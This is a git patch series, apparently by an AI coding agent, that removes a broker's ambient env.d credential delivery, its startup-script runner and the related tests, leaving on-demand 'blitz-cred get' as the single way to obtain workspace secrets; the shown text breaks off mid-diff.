blitz-cred only Delete the env.d ambient delivery: the broker-written file, profile sourcing, tmux -e, chat-turn env merge, and the workspace-environment contract retire. blitz-cred is the single door; agents export scoped env vars themselves when a tool needs one. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index 56b86069..58551c48 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -188,21 +188,27 @@ workspace_credentials ( -- one live row per (workspace_id, name): partial unique index WHERE revoked_at IS NULL ``` -**One store, two reads — this table replaces `workspaces.environment`.** +**One store, one read — this table replaces `workspaces.environment`.** Today's two half-systems (plaintext workspace env vars; sealed but -org-scoped connections) unify here. A row is a name and a sealed value. - -1. *Ambient*: all live rows export as env vars on every member machine - through the existing `env.d` path. Programs and the agent read - `$STRIPE_API_KEY` like any variable. New sessions see changes at start; - running sessions keep their env — today's semantics, unchanged. -2. *On demand*: `blitz-cred get ` serves the same value, behind the - §4 resolution rule (personal grant first). - -An add is available at once: machines re-sync `env.d` (the rules-sync -pattern) and `blitz-cred` reads the store live. A revoke removes the row, -the file entry, and the value from every new session. There is no delivery -enum: one store, one name, both reads. +org-scoped connections) unify here. A row is a name and a sealed value, +and the only consumer is `blitz-cred`: + +- `blitz-cred get ` / `blitz-cred env ` serve the value on + demand, behind the §4 resolution rule (personal grant first). +- Nothing is exported ambiently. An agent or program that wants an env var + sets it itself, scoped as the agent rules already teach: + `STRIPE_API_KEY=$(blitz-cred get STRIPE_API_KEY) cmd`. + +An add is available at once — the next `blitz-cred` call reads the store +live; no sync, no restart. A revoke refuses the next call. No value ever +sits in a file on the machine. + +**The `env.d` delivery path is deleted with this.** It existed only for +`workspaces.environment`: the broker-written `creds/env.d/00-workspace.sh`, +its profile sourcing, the `tmux -e` pass in `blitz-term`, the env merge +into chat turns, and the `workspace-environment` cross-runtime contract +with its fixtures all retire. `blitz-cred` becomes the single door to +every secret on the box. ### Wire types From 8c62c51bb594e1bf4110b5beee839cbaea6e89b5 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 28 Aug 2026 23:43:30 +0000 Subject: [PATCH 14/43] broker: delete the workspace-environment fetch and the env.d writer MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Workspace credentials serve through blitz-cred only (plans/MEMBER-MACHINES.md §1). The ambient env.d delivery path was the only consumer of the workspace-environment route, so the fetch, the decoder, the creds/env.d/00-workspace.sh writer and the profile hook that sourced it all go together. The startup script and filesReady rode the same route and the same workspaces.environment column, so they retire with it: the control-plane route becomes legacy-empty and the column is dropped. blitz-cred list/get/env/git-helper are untouched. Co-Authored-By: Claude Fable 5 --- .../box/rootfs/etc/profile.d/blitz-creds.sh | 16 - .../box/rootfs/usr/local/libexec/blitz-term | 62 +--- .../internal/controlplane/controlplane.go | 8 - packages/broker/internal/workspace/cp.go | 42 --- .../broker/internal/workspace/environment.go | 311 ------------------ .../internal/workspace/environment_test.go | 277 ---------------- packages/broker/internal/workspace/watch.go | 7 - .../internal/workspace/workspace_test.go | 11 - 8 files changed, 13 insertions(+), 721 deletions(-) delete mode 100644 packages/box/rootfs/etc/profile.d/blitz-creds.sh delete mode 100644 packages/broker/internal/workspace/environment.go delete mode 100644 packages/broker/internal/workspace/environment_test.go diff --git a/packages/box/rootfs/etc/profile.d/blitz-creds.sh b/packages/box/rootfs/etc/profile.d/blitz-creds.sh deleted file mode 100644 index 776954f6..00000000 --- a/packages/box/rootfs/etc/profile.d/blitz-creds.sh +++ /dev/null @@ -1,16 +0,0 @@ -_blitz_load_credentials() { - # Only the workspace's own variables live here. Connection secrets are - # pulled at the moment of use with `blitz-cred get`, so a login shell has - # nothing to fetch and nothing to wait for. - for _blitz_env_file in "$BLITZ_STATE_DIR"/creds/env.d/*.sh; do - if [ -r "$_blitz_env_file" ]; then - . "$_blitz_env_file" || : - fi - done - - unset _blitz_env_file - return 0 -} - -_blitz_load_credentials || : -unset -f _blitz_load_credentials 2>/dev/null || : diff --git a/packages/box/rootfs/usr/local/libexec/blitz-term b/packages/box/rootfs/usr/local/libexec/blitz-term index e79028da..942e91e0 100644 --- a/packages/box/rootfs/usr/local/libexec/blitz-term +++ b/packages/box/rootfs/usr/local/libexec/blitz-term @@ -64,58 +64,22 @@ if [ "$mode" = ro ]; then exec tmux -u attach-session -r -t "=$session" fi -# The workspace's own variables live in the credential env.d directory, which -# a login shell sources as a whole glob through /etc/profile.d/blitz-creds.sh. -# tmux execs the commands below without a login shell, so the same glob is -# sourced here, in the same order. The chat actor merges the identical files -# (box/actor/src/credentials.ts) so the two surfaces cannot disagree about what -# a variable holds. +# No secret passes through here. Every credential — the workspace's own +# variables included — is pulled at the moment of use with `blitz-cred get +# `, so a tab carries nothing that outlives its grant and a Disconnect +# takes effect without restarting anything. # -# No connection secret passes through here. An agent pulls one when it needs -# one (`blitz-cred get `), so a tab carries no credential and a -# Disconnect takes effect without restarting anything. -# -# Snapshot the exported environment first, so the delta after the glob names -# exactly what env.d contributed. Prefixed plain variables rather than an -# associative array: this script also has to parse under the bash 3.2 that -# macOS still installs, where `declare -A` does not exist. `compgen -e` yields -# valid identifiers only, so the eval builds a valid name every time. -for env_name in $(compgen -e); do - eval "blitz_env_was_$env_name=\${$env_name-}" -done - -for credential_env_file in "$state_dir"/creds/env.d/*.sh; do - [ -r "$credential_env_file" ] && . "$credential_env_file" || : -done -unset credential_env_file - -# Exporting the variables above is not enough. tmux gives a NEW session the -# environment of the client that created it only when that client also STARTS -# the server; every later session copies the server's snapshot instead. A box -# boots a detached `blitz-rc` session first, so the server snapshot is -# whatever bootstrap's `docker exec` held — no LANG, no workspace variable. Tabs then -# inherited that bare snapshot and saw none of the env.d glob. `-e NAME=VALUE` -# writes each variable into the session environment explicitly, so delivery no -# longer depends on who started the server. -# -# The locale pair goes first: ttyd hands blitz-term LANG/LC_ALL, but the delta -# below only carries what env.d changed, and an env.d file that sets either one -# appends a later `-e` that tmux applies last — the same "later file wins" rule -# the sourcing loop follows. +# tmux gives a NEW session the environment of the client that created it only +# when that client also STARTS the server; every later session copies the +# server's snapshot instead. A box boots a detached `blitz-rc` session first, +# so the server snapshot is whatever bootstrap's `docker exec` held — no LANG. +# `-e NAME=VALUE` writes the locale into the session environment explicitly, so +# delivery does not depend on who started the server. ttyd hands blitz-term the +# pair; the fallback covers the callers that do not. # # -e applies on CREATE only. `new-session -A` that attaches to a live session -# leaves that session's environment untouched, which matches today's -# semantics: an attach never re-sourced env.d either. +# leaves that session's environment untouched. session_env=(-e "LANG=${LANG:-C.UTF-8}" -e "LC_ALL=${LC_ALL:-C.UTF-8}") -for env_name in $(compgen -e); do - eval "env_seen=\${blitz_env_was_$env_name+set}" - eval "env_was=\${blitz_env_was_$env_name-}" - eval "env_now=\${$env_name-}" - if [ "$env_seen" != set ] || [ "$env_was" != "$env_now" ]; then - session_env+=(-e "$env_name=$env_now") - fi -done -unset env_name env_seen env_was env_now # Recipe invocation delivery (plans/RECIPES.md Phase 2): a recipe launch # leaves /var/lib/blitz/recipe/{invocation.env,prompt.txt} on the state @@ -127,7 +91,7 @@ unset env_name env_seen env_was env_now # an existing session attaches and never re-injects (has-session decides), # `ro` exited above without consuming, and HARNESS=chat files belong to the # bootstrap chat sender, never to blitz-term. -recipe_dir="${BLITZ_STATE_DIR:-/var/lib/blitz}/recipe" +recipe_dir="$state_dir/recipe" case "$session_type" in claude|codex) if [ -f "$recipe_dir/invocation.env" ] && diff --git a/packages/broker/internal/controlplane/controlplane.go b/packages/broker/internal/controlplane/controlplane.go index e08fb9d4..d0c3b6ca 100644 --- a/packages/broker/internal/controlplane/controlplane.go +++ b/packages/broker/internal/controlplane/controlplane.go @@ -165,14 +165,6 @@ func (c *Client) PostWorkspaceConnectionToken(ctx context.Context, name string) }, nil) } -// GetWorkspaceEnvironment fetches this box's immutable workspace environment. -// The caller owns and must close the returned response body. -func (c *Client) GetWorkspaceEnvironment(ctx context.Context) (*http.Response, error) { - return c.authenticated(ctx, http.MethodGet, func(string) string { - return "/workspaces/self/environment" - }, nil) -} - func (c *Client) FetchFeed(ctx context.Context, etag string) ([]byte, string, bool, error) { credential, err := store.LoadCredential(c.stateDir) if err != nil { diff --git a/packages/broker/internal/workspace/cp.go b/packages/broker/internal/workspace/cp.go index a224a345..3814aefb 100644 --- a/packages/broker/internal/workspace/cp.go +++ b/packages/broker/internal/workspace/cp.go @@ -8,32 +8,10 @@ import ( "fmt" "io" "net/http" - "os" - "path/filepath" "regexp" "strings" - "syscall" ) -const ( - credentialsDirectory = "creds" - environmentDirectory = "env.d" - syncLockFile = ".lock" - // The workspace's own variables are the only thing left in creds/env.d. - // Connection secrets are pulled at the moment of use and never written, so - // nothing else joins this file. The numeric prefix is kept because - // /etc/profile.d/blitz-creds.sh and blitz-term both source the glob, and - // renaming the entry would only churn three readers. - workspaceEnvironmentEntry = "00-workspace.sh" -) - -// EnvironmentDir is where the broker leaves the shell fragment that -// /etc/profile.d/blitz-creds.sh sources. The layout is spelled once, next to -// the writer. -func EnvironmentDir(stateDir string) string { - return filepath.Join(stateDir, credentialsDirectory, environmentDirectory) -} - var ( ErrCredentialDenied = errors.New("this workspace is not connected to that provider") // ErrConnectionNotConfigured means the provider has no credential behind @@ -60,26 +38,6 @@ func AccessRequestID(err error) string { return requested.RequestID } -// withCredentialsLock serializes every writer of creds/env.d. The broker's -// environment loop is the only writer today, but it can run twice across a -// restart, and a half-written env file is a login shell with no variables. -func withCredentialsLock(stateDir string, run func(credsDir string) error) error { - credsDir := filepath.Join(stateDir, credentialsDirectory) - if err := os.MkdirAll(credsDir, 0o700); err != nil { - return err - } - lock, err := os.OpenFile(filepath.Join(credsDir, syncLockFile), os.O_CREATE|os.O_RDWR, 0o600) - if err != nil { - return err - } - defer lock.Close() - if err := syscall.Flock(int(lock.Fd()), syscall.LOCK_EX); err != nil { - return err - } - defer syscall.Flock(int(lock.Fd()), syscall.LOCK_UN) - return run(credsDir) -} - // GitHelper answers git's credential protocol. It is the pull model applied to // a tool that cannot be taught to ask: git wants a password on stdin, so the // helper mints one for that single call and never stores it. diff --git a/packages/broker/internal/workspace/environment.go b/packages/broker/internal/workspace/environment.go deleted file mode 100644 index b33b98d6..00000000 --- a/packages/broker/internal/workspace/environment.go +++ /dev/null @@ -1,311 +0,0 @@ -package workspace - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "os" - "os/exec" - "path/filepath" - "sort" - "strings" - "time" - - "github.com/blitzdotdev/blitz-core/broker/internal/atomicfile" - "github.com/blitzdotdev/blitz-core/broker/internal/controlplane" - "github.com/blitzdotdev/blitz-core/broker/internal/store" -) - -const ( - workspaceEnvironmentDirectory = "env" - workspaceEnvironmentState = "environment.json" - startupDoneFile = ".startup-done" - startupLogFile = "startup.log" - environmentResponseMaxBytes = 80 * 1024 - environmentMaxKeys = 50 - environmentMaxBytes = 8 * 1024 - startupScriptMaxBytes = 64 * 1024 - // Hard ceiling on the startup script's own process. Anything it - // deliberately leaves behind — a backgrounded dev server — outlives this; - // it only stops a `bash -c` that never returns from holding a process and - // an open log for the life of the box, with no record of why. - startupScriptTimeout = 10 * time.Minute -) - -type WorkspaceEnvironment struct { - Env map[string]string `json:"env"` - StartupScript *string `json:"startupScript"` - FilesReady bool `json:"filesReady"` -} - -type wireWorkspaceEnvironment struct { - Env json.RawMessage `json:"env"` - StartupScript json.RawMessage `json:"startupScript"` - FilesReady *bool `json:"filesReady"` -} - -func decodeWorkspaceEnvironment(data []byte) (WorkspaceEnvironment, error) { - var raw wireWorkspaceEnvironment - decoder := json.NewDecoder(bytes.NewReader(data)) - decoder.DisallowUnknownFields() - if err := decoder.Decode(&raw); err != nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if err := decoder.Decode(&struct{}{}); !errors.Is(err, io.EOF) { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if len(raw.Env) == 0 || len(raw.StartupScript) == 0 || raw.FilesReady == nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - var environment map[string]string - if err := json.Unmarshal(raw.Env, &environment); err != nil || environment == nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if len(environment) > environmentMaxKeys { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - bytesUsed := 0 - for name, value := range environment { - if !environmentNamePattern.MatchString(name) || strings.ContainsRune(value, 0) { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - bytesUsed += len(name) + len(value) - } - if bytesUsed > environmentMaxBytes { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - var startupScript *string - if string(raw.StartupScript) != "null" { - var script string - if err := json.Unmarshal(raw.StartupScript, &script); err != nil || len(script) > startupScriptMaxBytes { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - startupScript = &script - } - return WorkspaceEnvironment{ - Env: environment, StartupScript: startupScript, FilesReady: *raw.FilesReady, - }, nil -} - -func fetchWorkspaceEnvironment(ctx context.Context, stateDir string, httpClient *http.Client) (WorkspaceEnvironment, error) { - origin, err := store.LoadOrigin(stateDir) - if err != nil { - return WorkspaceEnvironment{}, err - } - client, err := controlplane.New(origin, stateDir, httpClient) - if err != nil { - return WorkspaceEnvironment{}, err - } - response, err := client.GetWorkspaceEnvironment(ctx) - if err != nil { - return WorkspaceEnvironment{}, err - } - defer response.Body.Close() - if response.StatusCode != http.StatusOK { - return WorkspaceEnvironment{}, fmt.Errorf("workspace environment request failed (HTTP %d)", response.StatusCode) - } - data, err := io.ReadAll(io.LimitReader(response.Body, environmentResponseMaxBytes+1)) - if err != nil { - return WorkspaceEnvironment{}, err - } - if len(data) > environmentResponseMaxBytes { - return WorkspaceEnvironment{}, errors.New("workspace environment response is too large") - } - return decodeWorkspaceEnvironment(data) -} - -// environmentFile renders the workspace's configured variables as the shell -// statements /etc/profile.d/blitz-creds.sh sources. Sorted by name so the -// bytes are a pure function of the map, which is what lets a test pin them. -func environmentFile(environment map[string]string) []byte { - names := make([]string, 0, len(environment)) - for name := range environment { - names = append(names, name) - } - sort.Strings(names) - var content strings.Builder - for _, name := range names { - fmt.Fprintf(&content, "export %s=%s\n", name, shellQuote(environment[name])) - } - return []byte(content.String()) -} - -func shellQuote(value string) string { - return "'" + strings.ReplaceAll(value, "'", "'\"'\"'") + "'" -} - -// loadWorkspaceEnvironment reads the stored state. A missing or unreadable -// state file yields the empty environment: the box must still come up. -func loadWorkspaceEnvironment(stateDir string) (WorkspaceEnvironment, error) { - path := filepath.Join(stateDir, workspaceEnvironmentDirectory, workspaceEnvironmentState) - data, err := os.ReadFile(path) - if errors.Is(err, os.ErrNotExist) { - return WorkspaceEnvironment{Env: map[string]string{}}, nil - } - if err != nil { - return WorkspaceEnvironment{}, err - } - return decodeWorkspaceEnvironment(data) -} - -func writeWorkspaceEnvironmentEntry(envDir string, configured map[string]string) error { - path := filepath.Join(envDir, workspaceEnvironmentEntry) - content := environmentFile(configured) - if len(content) == 0 { - if err := os.Remove(path); err != nil && !errors.Is(err, os.ErrNotExist) { - return err - } - return nil - } - return atomicfile.Write(path, content, 0o600) -} - -func storeWorkspaceEnvironment(stateDir string, environment WorkspaceEnvironment) error { - directory := filepath.Join(stateDir, workspaceEnvironmentDirectory) - if err := os.MkdirAll(directory, 0o700); err != nil { - return err - } - data, err := json.Marshal(environment) - if err != nil { - return err - } - if err := atomicfile.Write(filepath.Join(directory, workspaceEnvironmentState), append(data, '\n'), 0o600); err != nil { - return err - } - return withCredentialsLock(stateDir, func(credsDir string) error { - envDir := filepath.Join(credsDir, environmentDirectory) - if err := os.MkdirAll(envDir, 0o700); err != nil { - return err - } - return writeWorkspaceEnvironmentEntry(envDir, environment.Env) - }) -} - -func commandEnvironment(configured map[string]string) []string { - environment := make(map[string]string) - for _, item := range os.Environ() { - name, value, found := strings.Cut(item, "=") - if found { - environment[name] = value - } - } - for name, value := range configured { - environment[name] = value - } - names := make([]string, 0, len(environment)) - for name := range environment { - names = append(names, name) - } - sort.Strings(names) - result := make([]string, 0, len(names)) - for _, name := range names { - result = append(result, name+"="+environment[name]) - } - return result -} - -var closedStartup = func() <-chan struct{} { - done := make(chan struct{}) - close(done) - return done -}() - -// startStartupOnce claims the once-only marker and then starts the workspace's -// startup script in its own goroutine. User code must never sit on the caller's -// path: the deposit loop that calls this also ships vendor credentials, and a -// script that legitimately never exits (a dev server, `tail -f`) would wedge it -// forever. -// -// The script gets its own deadline on top of ctx. Anything it backgrounds on -// purpose is reparented and keeps running past it, so the deadline costs a -// deliberate server nothing; what it buys is that a script that simply never -// returns stops, and says so in its log, instead of holding a process for the -// life of the box. -// -// The returned channel closes when the script exits, and is already closed when -// nothing ran. Only tests wait on it. -func startStartupOnce( - ctx context.Context, - stateDir, workspaceDir string, - environment WorkspaceEnvironment, - timeout time.Duration, -) (<-chan struct{}, error) { - directory := filepath.Join(stateDir, workspaceEnvironmentDirectory) - markerPath := filepath.Join(directory, startupDoneFile) - marker, err := os.OpenFile(markerPath, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) - if errors.Is(err, os.ErrExist) { - return closedStartup, nil - } - if err != nil { - return closedStartup, err - } - if err := marker.Close(); err != nil { - _ = os.Remove(markerPath) - return closedStartup, err - } - log, err := os.OpenFile(filepath.Join(directory, startupLogFile), os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o600) - if err != nil { - _ = os.Remove(markerPath) - return closedStartup, err - } - if environment.StartupScript == nil { - return closedStartup, log.Close() - } - runContext, cancel := context.WithTimeout(ctx, timeout) - command := exec.CommandContext(runContext, "bash", "-c", *environment.StartupScript) - command.Dir = workspaceDir - command.Env = commandEnvironment(environment.Env) - command.Stdout = log - command.Stderr = log - if err := command.Start(); err != nil { - cancel() - _ = log.Close() - return closedStartup, fmt.Errorf("workspace startup script failed to start: %w", err) - } - done := make(chan struct{}) - go func() { - defer close(done) - defer log.Close() - defer cancel() - err := command.Wait() - if err == nil { - return - } - if errors.Is(runContext.Err(), context.DeadlineExceeded) { - fmt.Fprintf(log, "\nblitz: workspace startup script stopped after %s\n", timeout) - return - } - fmt.Fprintf(log, "\nblitz: workspace startup script failed: %v\n", err) - }() - return done, nil -} - -// environmentTick fetches and stores this box's environment, and once the -// workspace files have landed, starts the startup script exactly once. It -// returns true when there is nothing left to converge. The channel closes when -// the startup script exits; callers on the credential path must not wait on it. -func environmentTick( - ctx context.Context, - stateDir, workspaceDir string, - httpClient *http.Client, -) (bool, <-chan struct{}, error) { - environment, err := fetchWorkspaceEnvironment(ctx, stateDir, httpClient) - if err != nil { - return false, closedStartup, err - } - if err := storeWorkspaceEnvironment(stateDir, environment); err != nil { - return false, closedStartup, err - } - if !environment.FilesReady { - return false, closedStartup, nil - } - done, err := startStartupOnce(ctx, stateDir, workspaceDir, environment, startupScriptTimeout) - if err != nil { - return false, done, err - } - return true, done, nil -} diff --git a/packages/broker/internal/workspace/environment_test.go b/packages/broker/internal/workspace/environment_test.go deleted file mode 100644 index 1c6bb841..00000000 --- a/packages/broker/internal/workspace/environment_test.go +++ /dev/null @@ -1,277 +0,0 @@ -package workspace - -import ( - "context" - "encoding/json" - "io" - "net/http" - "net/http/httptest" - "os" - "path/filepath" - "slices" - "strings" - "sync/atomic" - "testing" - "time" - - "github.com/blitzdotdev/blitz-core/broker/internal/store" -) - -func workspaceEnvironmentFixtures(t *testing.T, kind string) []string { - t.Helper() - directory := filepath.Join("..", "..", "..", "schema", "fixtures", "workspace-environment", kind) - entries, err := os.ReadDir(directory) - if err != nil { - t.Fatal(err) - } - fixtures := make([]string, 0, len(entries)) - for _, entry := range entries { - if strings.HasSuffix(entry.Name(), ".json") { - fixtures = append(fixtures, filepath.Join(directory, entry.Name())) - } - } - return fixtures -} - -func TestWorkspaceEnvironmentFixtures(t *testing.T) { - for _, path := range workspaceEnvironmentFixtures(t, "valid") { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if _, err := decodeWorkspaceEnvironment(data); err != nil { - t.Errorf("valid fixture %s: %v", filepath.Base(path), err) - } - } - for _, path := range workspaceEnvironmentFixtures(t, "invalid") { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if _, err := decodeWorkspaceEnvironment(data); err == nil { - t.Errorf("invalid fixture %s was accepted", filepath.Base(path)) - } - } -} - -func TestEnvironmentTickStoresConfigAndRunsStartupOnce(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - var requests atomic.Int32 - server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { - if request.Method != http.MethodGet || request.URL.Path != "/workspaces/self/environment" { - t.Errorf("request = %s %s", request.Method, request.URL.Path) - } - if request.Header.Get("Authorization") != "Bearer access" { - t.Errorf("Authorization = %q", request.Header.Get("Authorization")) - } - response := WorkspaceEnvironment{ - Env: map[string]string{ - "GREETING": "it's $HOME\nnext", - "ORDERED": "yes", - }, - StartupScript: func() *string { - script := "printf '%s\\n' \"$GREETING\"\nprintf run >> runs.txt\n" - return &script - }(), - FilesReady: requests.Add(1) > 1, - } - if err := json.NewEncoder(writer).Encode(response); err != nil { - t.Error(err) - } - })) - defer server.Close() - if err := store.SaveCredential(stateDir, store.Credential{ - BoxID: "box", AccessToken: "access", RefreshToken: "refresh", - }); err != nil { - t.Fatal(err) - } - if err := store.SaveOrigin(stateDir, server.URL); err != nil { - t.Fatal(err) - } - - ready, _, err := environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || ready { - t.Fatalf("first tick ready=%v err=%v", ready, err) - } - envDir := filepath.Join(stateDir, workspaceEnvironmentDirectory) - // The workspace variables ride the env.d pipeline, in the one entry that - // blitz-creds.sh sources. - credsEnvDir := filepath.Join(stateDir, credentialsDirectory, environmentDirectory) - fragment, err := os.ReadFile(filepath.Join(credsEnvDir, workspaceEnvironmentEntry)) - if err != nil { - t.Fatal(err) - } - if string(fragment) != "export GREETING='it'\"'\"'s $HOME\nnext'\nexport ORDERED='yes'\n" { - t.Fatalf("environment fragment = %q", fragment) - } - if _, err := os.Stat(filepath.Join(envDir, startupDoneFile)); !os.IsNotExist(err) { - t.Fatal("startup marker exists before files are ready") - } - - ready, started, err := environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || !ready { - t.Fatalf("second tick ready=%v err=%v", ready, err) - } - <-started - ready, _, err = environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || !ready { - t.Fatalf("third tick ready=%v err=%v", ready, err) - } - runs, err := os.ReadFile(filepath.Join(workspaceDir, "runs.txt")) - if err != nil { - t.Fatal(err) - } - if string(runs) != "run" { - t.Fatalf("startup runs = %q", runs) - } - log, err := os.Open(filepath.Join(envDir, startupLogFile)) - if err != nil { - t.Fatal(err) - } - defer log.Close() - logged, err := io.ReadAll(log) - if err != nil { - t.Fatal(err) - } - if string(logged) != "it's $HOME\nnext\n" { - t.Fatalf("startup log = %q", logged) - } - for _, name := range []string{workspaceEnvironmentState, startupDoneFile, startupLogFile} { - info, err := os.Stat(filepath.Join(envDir, name)) - if err != nil { - t.Fatal(err) - } - if info.Mode().Perm() != 0o600 { - t.Errorf("%s mode = %o", name, info.Mode().Perm()) - } - } - assertFileMode(t, filepath.Join(credsEnvDir, workspaceEnvironmentEntry), 0o600) -} - -// A startup script that never exits is a legitimate thing to ask for (a dev -// server). It must not stop the watch loop, which is also the credential -// deposit path. -func TestStartupScriptNeverBlocksTheWatchLoop(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - if err := os.MkdirAll(filepath.Join(stateDir, workspaceEnvironmentDirectory), 0o700); err != nil { - t.Fatal(err) - } - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - script := "printf started > started.txt\nwhile true; do sleep 1; done\n" - deposits := make(chan struct{}, 4) - watcher := NewWatcher(t.TempDir(), func(context.Context, string, []byte) error { - return nil - }) - ticks := make(chan struct{}) - go func() { - defer close(ticks) - if _, err := startStartupOnce(ctx, stateDir, workspaceDir, WorkspaceEnvironment{ - Env: map[string]string{}, StartupScript: &script, - }, startupScriptTimeout); err != nil { - t.Error(err) - } - // The watch loop keeps depositing while the script above still runs. - for range cap(deposits) { - _ = watcher.Tick(ctx) - deposits <- struct{}{} - } - }() - select { - case <-ticks: - case <-time.After(20 * time.Second): - t.Fatal("startup script blocked the deposit path") - } - if len(deposits) != cap(deposits) { - t.Fatalf("deposit ticks = %d", len(deposits)) - } - // The script is still running; it only had to start, not finish. - deadline := time.Now().Add(20 * time.Second) - for { - started, err := os.ReadFile(filepath.Join(workspaceDir, "started.txt")) - if err == nil && string(started) == "started" { - return - } - if time.Now().After(deadline) { - t.Fatalf("startup script did not run: %q %v", started, err) - } - time.Sleep(20 * time.Millisecond) - } -} - -// A variable the workspace dropped must leave the shell fragment. The entry is -// rewritten whole on every tick, so a name that is gone from the map is gone -// from the file; a login shell that kept exporting it would hold a value the -// member deleted in the panel. -func TestWorkspaceEnvironmentEntryDropsRemovedVariables(t *testing.T) { - stateDir := t.TempDir() - if err := storeWorkspaceEnvironment(stateDir, WorkspaceEnvironment{ - Env: map[string]string{"KEPT": "yes", "DROPPED": "old"}, - FilesReady: true, - }); err != nil { - t.Fatal(err) - } - if err := storeWorkspaceEnvironment(stateDir, WorkspaceEnvironment{ - Env: map[string]string{"KEPT": "yes"}, - FilesReady: true, - }); err != nil { - t.Fatal(err) - } - envDir := filepath.Join(stateDir, credentialsDirectory, environmentDirectory) - entries, err := os.ReadDir(envDir) - if err != nil { - t.Fatal(err) - } - names := make([]string, 0, len(entries)) - for _, entry := range entries { - names = append(names, entry.Name()) - } - // Connection secrets are pulled at the moment of use, so the workspace entry - // is the only file this directory may hold. - if !slices.Equal(names, []string{workspaceEnvironmentEntry}) { - t.Fatalf("env.d entries = %q", names) - } - fragment, err := os.ReadFile(filepath.Join(envDir, workspaceEnvironmentEntry)) - if err != nil { - t.Fatal(err) - } - if string(fragment) != "export KEPT='yes'\n" { - t.Fatalf("workspace entry = %q", fragment) - } -} - -func TestStartupScriptStopsAtItsDeadline(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - if err := os.MkdirAll(filepath.Join(stateDir, workspaceEnvironmentDirectory), 0o700); err != nil { - t.Fatal(err) - } - // A script that backgrounds work and then never returns. The parent context - // stays live for the whole test: only the deadline may end this. - script := "(sleep 120 &) \nwhile true; do sleep 1; done\n" - started := time.Now() - done, err := startStartupOnce(context.Background(), stateDir, workspaceDir, WorkspaceEnvironment{ - Env: map[string]string{}, StartupScript: &script, - }, 200*time.Millisecond) - if err != nil { - t.Fatal(err) - } - select { - case <-done: - case <-time.After(30 * time.Second): - t.Fatal("a non-exiting startup script outlived its deadline") - } - if elapsed := time.Since(started); elapsed > 30*time.Second { - t.Fatalf("startup script ran for %s", elapsed) - } - logged, err := os.ReadFile(filepath.Join(stateDir, workspaceEnvironmentDirectory, startupLogFile)) - if err != nil { - t.Fatal(err) - } - // The author has to be able to see why their script stopped. - if !strings.Contains(string(logged), "stopped after 200ms") { - t.Fatalf("startup log = %q", logged) - } -} diff --git a/packages/broker/internal/workspace/watch.go b/packages/broker/internal/workspace/watch.go index 18604179..9b95f0a2 100644 --- a/packages/broker/internal/workspace/watch.go +++ b/packages/broker/internal/workspace/watch.go @@ -107,14 +107,7 @@ func Watch(ctx context.Context, stateDir, home string) error { watcher := NewWatcher(home, func(callContext context.Context, harness string, blob []byte) error { return Deposit(callContext, stateDir, harness, blob) }) - environmentReady := false for { - if !environmentReady { - // The startup script it may launch runs detached, so this call - // never holds up the credential deposits below. - ready, _, _ := environmentTick(ctx, stateDir, "/workspace", nil) - environmentReady = ready - } _ = watcher.Tick(ctx) timer := time.NewTimer(time.Second) select { diff --git a/packages/broker/internal/workspace/workspace_test.go b/packages/broker/internal/workspace/workspace_test.go index aad0905d..335be39a 100644 --- a/packages/broker/internal/workspace/workspace_test.go +++ b/packages/broker/internal/workspace/workspace_test.go @@ -152,14 +152,3 @@ func TestLoadBrokerRejectsMissingMember(t *testing.T) { t.Fatal("broker config without member was accepted") } } - -func assertFileMode(t *testing.T, path string, expected os.FileMode) { - t.Helper() - info, err := os.Stat(path) - if err != nil { - t.Fatal(err) - } - if info.Mode().Perm() != expected { - t.Errorf("%s mode = %o, want %o", path, info.Mode().Perm(), expected) - } -} From 38ca25a41d9c524bba450e1ff343c0dd190be1dd Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 28 Aug 2026 23:45:49 +0000 Subject: [PATCH 15/43] box: stop sourcing creds/env.d in blitz-term and in chat turns The broker no longer writes creds/env.d/00-workspace.sh, so the two readers go with it: /etc/profile.d/blitz-creds.sh is deleted, and blitz-term drops the glob and the environment delta it fed into `tmux -e`. The locale pair stays on `-e`, because the tmux server snapshot a box boots with has no LANG and that has nothing to do with credentials. Session naming, the read-only attach and recipe injection are untouched. The actor's CredentialSource keeps harness-token delivery and loses the workspace-environment merge: a turn now runs on the actor's own environment, and every credential is pulled at the moment of use with `blitz-cred get`. Co-Authored-By: Claude Fable 5 --- packages/box/actor/src/actor.ts | 11 +- packages/box/actor/src/credentials.ts | 217 +----------------- .../actor/test/blitz-term-credentials.test.ts | 118 +++------- .../actor/test/credential-environment.test.ts | 213 ----------------- .../actor/test/workspace-environment.test.ts | 96 -------- 5 files changed, 37 insertions(+), 618 deletions(-) delete mode 100644 packages/box/actor/test/credential-environment.test.ts delete mode 100644 packages/box/actor/test/workspace-environment.test.ts diff --git 